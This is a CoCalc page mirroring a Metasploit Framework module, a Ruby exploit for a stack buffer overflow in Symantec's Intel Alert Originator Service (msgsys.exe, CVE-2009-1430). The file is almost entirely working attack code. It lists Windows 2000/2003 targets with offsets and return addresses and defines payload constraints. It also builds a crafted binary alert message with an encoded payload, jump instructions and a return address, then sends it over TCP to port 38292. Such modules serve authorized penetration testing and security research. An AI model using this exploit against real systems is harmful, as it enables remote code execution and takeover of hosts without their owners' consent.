CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/antivirus/symantec_iao.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Symantec Alert Management System Intel Alert Originator Service Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in Intel Alert Originator Service msgsys.exe.
16
When an attacker sends a specially crafted alert, arbitrary code may be executed.
17
},
18
'Author' => [ 'MC' ],
19
'License' => MSF_LICENSE,
20
'References' =>
21
[
22
[ 'CVE', '2009-1430' ],
23
[ 'OSVDB', '54159'],
24
[ 'BID', '34674' ],
25
],
26
'Privileged' => true,
27
'DefaultOptions' =>
28
{
29
'EXITFUNC' => 'process',
30
},
31
'Payload' =>
32
{
33
'Space' => 800,
34
'BadChars' => "\x00\x20\x0a\x0d",
35
'StackAdjustment' => -3500,
36
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
37
},
38
'Platform' => 'win',
39
'Targets' =>
40
[
41
[ 'Windows 2003', { 'Offset' => 1061, 'Ret' => 0x00401130 } ],
42
[ 'Windows 2000 All', { 'Offset' => 1065, 'Ret' => 0x00401130 } ],
43
],
44
'DefaultTarget' => 0,
45
'DisclosureDate' => '2009-04-28'))
46
47
register_options( [ Opt::RPORT(38292) ])
48
end
49
50
def exploit
51
52
connect
53
54
filler = rand_text_alpha_upper(2048)
55
56
sploit = payload.encoded
57
sploit << rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
58
sploit << Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)
59
sploit << [target.ret].pack('V')
60
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-950").encode_string
61
sploit << rand_text_alpha_upper(rand(24) + 700) + "\x00"
62
63
msg = "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x02\x00\x95\x94\xac\x10"
64
msg << "\x08\xb4\x00\x00\x00\x00\x00\x00\x00\x00" + [filler.length].pack('V')
65
msg << "ORIGCNFG" + "\x10\x00\x00\x00\x00\x00\x00\x00\x04\x00\x03\x03\xb8"
66
msg << "\x60\x00\x00\x00\x00\x00\x00" + "BIND"
67
msg << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00"
68
msg << "\x04" + "BIND" + "\x00" + [filler.length].pack('V')
69
msg << rand_text_alpha_upper(7) + " Alert" + sploit
70
msg << "\x00" + [filler.length].pack('V') + [filler.length].pack('V')
71
msg << rand_text_alpha_upper(rand(10) + 36)
72
msg << filler + "\x00\x00\x00\x00" + "PRGX" + "\x00\x04\xAC\x10\x08\x1D"
73
msg << "\x07\x08\x12\x00" + "ConfigurationName" + "\x00\x16\x00\x14\x00"
74
msg << rand_text_alpha_upper(rand(1) + 25) + "\x00\x08\x08\x00" + "RunArgs"
75
msg << "\x00\x04\x00\x02" + "\x00\x20\x00\x03\x05\x00" + "FormatString"
76
msg << "\x00\x02\x00\x00\x00\x08\x12\x00" + "ConfigurationName"
77
msg << "\x00\x02\x00\x00\x00\x08\x0C\x00" + "HandlerHost"
78
msg << "\x00\x17\x00\x15\x00" + rhost + "\x00\x00\x00\x00\x00\x00"
79
80
print_status("Trying target #{target.name}...")
81
sock.put(msg)
82
83
handler
84
disconnect
85
end
86
end
87
88